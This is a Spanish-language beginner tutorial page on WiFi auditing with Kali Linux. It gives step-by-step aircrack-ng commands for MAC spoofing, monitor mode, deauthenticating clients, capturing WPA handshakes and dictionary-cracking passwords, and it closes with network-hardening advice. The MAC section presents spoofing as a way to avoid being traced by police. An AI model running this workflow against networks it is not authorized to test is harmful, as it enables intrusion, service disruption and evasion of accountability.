GhostAcademy logo GhostAcademy
🔌 WiFi · Kali Linux · Aircrack-ng · WPA/WPA2 · Ethical Hacking
Hacking WiFi
para Principiantes

Guia introductoria de auditoria de redes WiFi: configuracion del laboratorio con Kali Linux y VirtualBox, anonimizacion por cambio de MAC, modos inalambricos, captura del handshake WPA y descifrado por diccionario. Incluye como proteger tu red.

6capitulos
KaliLinux
WPA/WPA2protocolo objetivo
aircracksuite
Kali LinuxVirtualBoxmacchanger airmon-ngairodump-ngaireplay-ng aircrack-ngWPA handshakewordlist
⚠ Aviso legal: Este material es exclusivamente para fines educativos y de auditoria etica en redes propias o con permiso explicito del propietario. El acceso no autorizado a redes ajenas es un delito en la mayoria de paises. Utiliza este conocimiento de forma responsable.
01
💻
Configuracion del Laboratorio
VirtualBox + Kali Linux — entorno virtualizado seguro

Para realizar pruebas de penetracion WiFi necesitas un sistema operativo especializado como Kali Linux, disenado especificamente para hacking y pentesting con herramientas preinstaladas. Lo instalaremos de forma virtual con VirtualBox, sin tocar tu sistema operativo principal.

🔘 Herramientas necesarias:

• VirtualBox (gratuito, codigo abierto) — virtualbox.org/wiki/Downloads
• VirtualBox Extension Pack — permite USB, adaptadores inalambricos y dispositivos portatiles
• Imagen virtual de Kali (.ova) — descargable directamente desde el sitio de Kali, ya preinstalada para VirtualBox

Pasos de configuracion

  1. Instalar VirtualBox y a continuacion el Extension Pack (doble clic sobre el archivo descargado).
  2. Descargar la imagen .ova de Kali para VirtualBox desde el sitio oficial. Esta imagen ya viene con Kali preinstalado — no hay que instalar el OS desde cero.
  3. Importar la imagen: doble clic sobre el archivo .ova y esperar a que finalice el proceso.
  4. En Configuracion → Sistema: asignar al menos 2 GB de RAM a la VM.
  5. En Configuracion → Red: seleccionar "Adaptador puenteado" para que Kali use la tarjeta de red real del equipo.
  6. Iniciar la VM y acceder con las credenciales por defecto.
Kali LinuxEscritorio de Kali Linux en VirtualBox — listo para usar
Escritorio de Kali Linux en VirtualBox — listo para usar

Primeros pasos en Kali

Credenciales por defecto: usuario root, contrasena toor. Abre la terminal (icono izquierdo) para ejecutar comandos. El prompt rojo root@kali# indica acceso root (maximo nivel de privilegios).

root@kali — actualizar sistema
root@kali# apt-get update
# Actualizar el sistema y repositorios de Kali
root@kali — cambiar contrasena
root@kali# passwd
# Cambiar la contrasena por defecto (obligatorio por seguridad)
# Introducir: toor (contrasena actual)
# Introducir nueva contrasena y confirmar
🔒 Buena practica: Cambiar la contrasena por defecto es el primer paso obligatorio. Si no lo haces, cualquier persona con acceso a tu red podria acceder a tu VM de Kali.
02
🏴
Ocultar, Identificar y Ser Imposible de Rastrear
Direccion MAC — cambiarla con macchanger

En hacking, ocultar tu identidad es tan importante como la tecnica en si. La direccion MAC (Media Access Control) es un identificador unico grabado en cada tarjeta de red. Cuando te conectas a una red WiFi, tu MAC queda registrada en el router — y puede ser usada para rastrearte.

Que es la direccion MAC

Cada dispositivo tiene una MAC diferente, asignada de fabrica. Se usa para que el router sepa a que dispositivo enviar cada paquete de datos. Si hackeas una red sin cambiar tu MAC, la policia puede analizar el router y encontrar la informacion de tu equipo.

AA:BB
OUI — fabricante
CC:DD
OUI — fabricante
EE:FF
NIC — dispositivo
💡 Como funciona el cambio: La MAC real esta grabada en el hardware (no se puede cambiar). Pero cuando el sistema arranca, la carga en la RAM. macchanger modifica la copia en RAM — el hardware no se toca. Al reiniciar, la MAC vuelve a la original.

Cambiar la MAC con macchanger

root@kali — paso 1
root@kali# ifconfig wlan0 down
# Detener la tarjeta inalambrica antes de modificarla
root@kali — ver ayuda
root@kali# macchanger --help
# Ver todas las opciones disponibles de macchanger
root@kali — cambiar MAC
root@kali# macchanger --random wlan0
# Asignar una direccion MAC aleatoria a wlan0
macchangermacchanger mostrando la MAC permanente y la nueva MAC aleatoria asignada
macchanger mostrando la MAC permanente y la nueva MAC aleatoria asignada

La salida muestra la MAC permanente (la del hardware, con corporacion identificada entre parentesis) y la nueva MAC aleatoria (sin corporacion asociada). Ahora eres anonimo en la red.

root@kali — reactivar interfaz
root@kali# ifconfig wlan0 up
# Reactivar la tarjeta inalambrica con la nueva MAC
03
📶
Modos Inalambricos
Modo administrado vs modo monitor — capturar todos los paquetes

Por defecto, tu tarjeta WiFi funciona en modo administrado: solo recibe los paquetes dirigidos a su propia MAC. Para auditar redes necesitas el modo monitor, que captura todos los paquetes que circulan en el rango WiFi, sin importar a quien vayan dirigidos.

Modo administrado
Solo recibe paquetes dirigidos a tu MAC. Comportamiento normal del usuario.
↓
Modo monitor
Captura TODOS los paquetes del aire — independientemente de la MAC destino. Necesario para el handshake.
🔋 El handshake: Es el "apretón de manos" entre un cliente y el router WiFi en el momento de la conexion. Contiene informacion cifrada que, con la wordlist correcta, permite deducir la contrasena. Para capturarlo necesitas modo monitor.

Activar el modo monitor

root@kali — activar modo monitor
root@kali# ifconfig wlan0 down
root@kali# macchanger --random wlan0
root@kali# ifconfig wlan0 up
root@kali# airmon-ng start wlan0
# Verificar que wlan0 esta ahora en modo monitor
iwconfig wlan0
root@kaliSecuencia de comandos para activar el modo monitor — iwconfig confirma modo: Monitor
Secuencia de comandos para activar el modo monitor — iwconfig confirma modo: Monitor
⚠ Nombre de interfaz: Al activar el modo monitor, la interfaz puede renombrarse automaticamente a wlan0mon. Usa ese nombre en los comandos siguientes.
04
🤘
Atrapar el Handshake WPA
airodump-ng + aireplay-ng — captura del protocolo de enlace

El handshake WPA/WPA2 se envia cada vez que un cliente se asocia con un punto de acceso (AP). Usando airodump-ng capturamos todos los paquetes del aire y con aireplay-ng podemos forzar la reconexion de un cliente para provocar el handshake.

Paso 1 — Escanear y enfocar el AP objetivo

root@kali — airodump-ng
root@kali# airodump-ng --channel [canal] --bssid [bssid] --write [nombre-archivo] [interfaz]

# Ejemplo real:
root@kali# airodump-ng --channel 6 --bssid 11:22:33:44:55:66 --write captura wlan0mon

Parametros clave:

  • --channel — canal WiFi del AP objetivo (1-13)
  • --bssid — MAC del router/AP objetivo
  • --write — nombre del archivo donde guardar la captura (.cap)
  • [interfaz] — tu interfaz en modo monitor (wlan0mon)

Paso 2 — Forzar la desautenticacion de un cliente

Si no hay un cliente conectandose en ese momento, puedes desautenticar uno ya conectado. Su sistema se reconectara automaticamente, generando el handshake.

root@kali — aireplay-ng deauth
root@kali# aireplay-ng --deauth [num-paquetes] -a [MAC-AP] -c [MAC-cliente] [interfaz]

# Ejemplo real:
root@kali# aireplay-ng --deauth 1000 -a 11:22:33:44:55:66 -c 00:AA:11:22:33:44 wlan0mon
🧩 Cuando se ha capturado el handshake: airodump-ng mostrara en la esquina superior derecha el mensaje WPA handshake: XX:XX:XX:XX:XX:XX. En ese momento puedes detener la captura.
airodump-ngairodump-ng mostrando los APs disponibles y el mensaje "WPA handshake" capturado
airodump-ng mostrando los APs disponibles y el mensaje
05
🔐
Descifrar la Red Inalambrica
aircrack-ng + wordlist — ataque de diccionario contra el handshake

Con el archivo de captura (.cap) que contiene el handshake, usamos aircrack-ng para comparar cada contrasena de una wordlist contra el handshake. El algoritmo calcula la PMK (Pairwise Master Key) usando el ESSID + cada contrasena candidata y la compara con el handshake.

Handshake .cap
Contiene el PMK cifrado del AP.
↓
ESSID + wordlist
aircrack calcula PMK = pbkdf2(contrasena, ESSID). Si coincide con el handshake → contrasena encontrada.
↓
KEY FOUND!
aircrack muestra la contrasena en texto claro.
📄 Wordlists recomendadas:
• CrackStation Wordlist — una de las mas grandes disponibles
• rockyou.txt — incluida en Kali Linux en /usr/share/wordlists/
root@kali — aircrack-ng
root@kali# aircrack-ng [archivo-handshake] -w [wordlist] [interfaz]

# Ejemplo real:
root@kali# aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt wlan0mon
aircrack-ngaircrack-ng mostrando KEY FOUND — contrasena descifrada exitosamente
aircrack-ng mostrando KEY FOUND — contrasena descifrada exitosamente
📌 Limitacion clave: El ataque de diccionario solo funciona si la contrasena esta en la wordlist. Una contrasena larga y compleja que no este en ninguna wordlist no podra ser descifrada por este metodo.
06
🛡
Proteger tu Red de los Ataques
WEP, WPA, WPA2 — debilidades y como mitigarlas

Tipos de cifrado WiFi

WEP
Wired Equivalent Privacy
Cifrado antiguo y extremadamente debil. Se puede descifrar en minutos independientemente de la complejidad de la contrasena e incluso sin clientes conectados. Multiples metodos de ataque conocidos.
🔴 INSEGURO — no usar
WPA
Wi-Fi Protected Access
Mejora sobre WEP. Vulnerable si WPS esta habilitado (ataque de fuerza bruta al PIN de 8 digitos con Reaver, ~10 horas). Sin WPS, solo vulnerable a ataques de diccionario.
🟡 CONDICIONAL — depende de la configuracion
WPA2
Wi-Fi Protected Access 2
Similar a WPA con algoritmo de cifrado mas fuerte (CCMP/AES). Tambien vulnerable si WPS esta habilitado. Con WPS deshabilitado y contrasena compleja, es muy resistente a ataques.
🟢 RECOMENDADO — con configuracion correcta

Debilidades de WPS

WPS (Wi-Fi Protected Setup) permite conectar dispositivos sin introducir la contrasena, usando un PIN de 8 digitos. Los atacantes pueden hacer fuerza bruta sobre este PIN en un promedio de 10 horas con herramientas como Reaver. Una vez obtenido el PIN, se puede hacer ingenieria inversa para obtener la clave WPA2 completa — aunque sea muy compleja.

Conclusion — Como proteger tu red

❌
No uses WEP. Es un cifrado roto. Da igual la complejidad de la contrasena — puede descifarse en minutos. Cambia a WPA2 en la configuracion del router.
✅
Usa WPA2 con contrasena compleja. La contrasena debe contener letras minusculas, mayusculas, numeros y simbolos. Minimo 12-16 caracteres. Si no esta en la wordlist, no puede ser crackeada por diccionario.
❌
Deshabilita WPS. Es el talon de Aquiles de WPA2. Aunque tu contrasena sea perfecta, WPS permite saltarsela por fuerza bruta del PIN. Desactivalo en la configuracion del router.
✅
Actualiza el firmware del router. Los fabricantes lanzan parches para vulnerabilidades conocidas. Mantenerlo actualizado cierra vectores de ataque adicionales.
✅
Monitorea los dispositivos conectados. Revisa regularmente la lista de dispositivos en tu router. Si ves MACs desconocidas, alguien podria estar usando tu red.

Resumen de Comandos

root@kali — flujo completo de auditoria WiFi
# ============ ANONIMATO ============
root@kali# ifconfig wlan0 down
root@kali# macchanger --random wlan0
root@kali# ifconfig wlan0 up

# ============ MODO MONITOR ============
root@kali# airmon-ng start wlan0
# o manualmente:
iwconfig wlan0 mode monitor

# ============ ESCANEAR REDES ============
root@kali# airodump-ng wlan0mon

# ============ CAPTURAR HANDSHAKE ============
root@kali# airodump-ng --channel 6 --bssid AA:BB:CC:DD:EE:FF --write captura wlan0mon

# ============ DESAUTENTICAR CLIENTE ============
root@kali# aireplay-ng --deauth 1000 -a AA:BB:CC:DD:EE:FF -c 00:11:22:33:44:55 wlan0mon

# ============ CRACKEAR CONTRASENA ============
root@kali# aircrack-ng captura-01.cap -w /usr/share/wordlists/rockyou.txt

# ============ VOLVER A MODO NORMAL ============
root@kali# airmon-ng stop wlan0mon
root@kali# ifconfig wlan0 up